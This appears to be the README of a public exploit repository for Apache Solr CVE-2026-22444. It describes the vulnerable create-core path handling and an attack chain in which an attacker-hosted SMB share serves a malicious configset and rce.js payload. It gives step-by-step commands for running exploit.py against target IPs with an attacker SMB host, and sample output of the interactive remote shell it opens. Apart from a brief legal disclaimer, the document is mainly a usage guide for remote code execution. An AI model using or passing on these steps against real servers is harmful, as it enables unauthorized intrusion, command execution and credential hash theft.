bfdfhdsfdd-crypto/cve-2026-22444Exploit for Apache Solr CVE-2026-22444, leveraging UNC path injection and SMB server to achieve remote code execution via malicious configset and JavaScript payload.
Apache Solr UNC Path Validation Vulnerability
CVE-2026-22444 is a security vulnerability affecting Apache Solr, publicly disclosed around January 20, 2026. The vulnerability stems from insufficient input validation (CWE-20: Improper Input Validation) on certain API parameters of Apache Solr's "create core" API, allowing attackers to bypass security rules when Solr runs in "standalone" mode, potentially leading to data leakage, remote code execution (RCE), or NTLM hash disclosure.
Specifically, if Solr does not have authentication enabled or the user has permission to create cores, an attacker can abuse this API through carefully crafted requests to access protected files or execute malicious operations.
The vulnerability was discovered and reported to Apache in 2025, and publicly disclosed on the oss-security mailing list:
Official Announcement: https://www.openwall.com/lists/oss-security/2026/01/20/5
The vulnerability exists in CoreContainer.java, where the CoreDescriptor constructor triggers network operations before UNC path validation is performed:
instancePath.toAbsolutePath()Files.exists() checks perform network callsFiles.newInputStream() performs network readsassertPathAllowed() only occurs after these operationsexploit.py - Proof-of-concept exploit scriptfiles/ - Supporting files required for the exploit (configset)
rce.js - Remote code execution JavaScript payloadconf/ - Solr configuration files
solrconfig.xml - Defines the malicious update processor chainschema.xml - Solr schema definitionmanaged-schema - Managed schema filerequirements.txt - Python dependenciespip install -r requirements.txt
Dependencies include:
requests>=2.25.0 - For HTTP requestsimpacket>=0.10.0 - For creating the SMB serverpython3 exploit.py <target-ip>
Example:
python3 exploit.py 192.168.1.100
python3 exploit.py <target-ip> --port <port>
Example:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <target-ip> --smb-host <smb-server-ip> --smb-port <smb-port>
Example:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <target-ip> --share-name <share-name>
Example:
python3 exploit.py 192.168.1.100 --share-name myshare
Positional arguments:
target_host Target Solr server IP address
Optional arguments:
-h, --help Show help message and exit
--port, -p PORT Solr server port (default: 8983)
--smb-host SMB_HOST SMB server IP (default: auto-detect local IP)
--smb-port SMB_PORT SMB server port (default: 445)
--share-name SHARE SMB share name (default: malicious)
files directoryAfter successful exploitation, the script provides an interactive shell:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
Supported commands:
exit or quit - Exit the interactive shellCtrl+C - Interrupt and exitThe vulnerability exploits the following chain of techniques:
//attacker-ip/share) via the configSet parameterStatelessScriptUpdateProcessorFactory to execute JavaScript codepython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── files/ # Malicious configset
│ ├── rce.js # RCE JavaScript payload
│ └── conf/ # Solr configuration directory
│ ├── solrconfig.xml # Configures malicious update processor
│ ├── schema.xml # Schema definition
│ └── managed-schema # Managed schema
└── README.md # This file
rce.js: This is the core RCE payload, which:
cmd parameter from request parameterssolrconfig.xml: Configures Solr to use the malicious update processor chain:
rce-chain update processor chainrce.js script/update request handler to use this chain⚠️ Warning: This tool is intended solely for authorized security testing and educational purposes. Using this tool to attack systems without authorization is illegal.
This project is licensed under the MIT License. Please refer to the LICENSE file for details.
This tool and information are provided for security research and educational purposes only. The author is not responsible for any damage caused by misuse of this information or tool. Users should comply with all applicable laws and regulations and obtain proper authorization before use.